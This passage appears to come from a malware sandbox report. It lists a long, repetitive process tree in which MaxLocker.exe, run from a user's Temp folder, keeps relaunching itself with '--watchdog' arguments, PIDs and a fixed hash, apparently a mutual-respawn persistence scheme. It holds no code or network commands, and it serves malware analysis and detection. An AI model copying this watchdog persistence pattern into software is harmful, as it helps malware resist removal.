  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4576 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5648
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2160
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2160 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:8
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4940
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4940 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:912
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4124
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4124 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:400
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4892
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4892 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5144
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:6120
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 6120 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3220
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:200
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 200 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1052
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3160
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3160 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5328
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3092
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3092 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:364
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:864
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 864 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3928
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:180
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 180 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5476
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4788
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4788 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5692
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5504
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5504 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4612
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1368
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1368 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5848
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:620
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 620 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:848
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2848
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2848 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1580
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3612
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3612 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2332
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5336
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5336 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4128
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2844
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2844 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5804
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1408
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1408 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5724
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5300
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5300 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4988
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1872
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1872 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2184
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2600
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2600 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3768
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3888
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3888 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5656
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2368
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2368 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4620
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2292
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2292 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3528
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3212
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3212 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1572
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4600
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4600 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1036
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:328
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 328 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5932
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4672
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4672 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2424
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:324
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 324 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3020
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5612
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5612 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4688
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1268
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1268 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5576
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4804
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4804 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2544
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5684
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5684 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5260
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5640
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5640 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4632
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2408
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2408 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2944
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2780
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2780 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1584
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2004
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2004 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2632
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2144
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2144 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1400
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3924
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3924 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1124
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5496
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5496 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1104
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:848
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 848 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3584
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3312
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3312 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1112
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4572
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4572 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1376
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2032
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2032 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5520
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5112
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5112 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4964
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:304
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 304 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5820
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2420
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2420 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:976
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4988
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4988 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5376
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4560
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4560 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1004
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1796
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1796 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2768
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4700
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4700 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3344
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:548
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 548 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2776
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2640
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2640 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2320
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4652
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4652 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2680
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1572
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1572 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4976
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:6072
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 6072 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4136
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5020
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5020 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4940
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2668
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2668 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5596
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:988
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 988 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5948
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3220
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3220 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:480
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1280
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1280 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1880
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3260
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3260 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3892
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5812
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5812 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1692
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5684
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5684 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2656
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5640
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5640 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5472
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:936
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 936 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2944
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
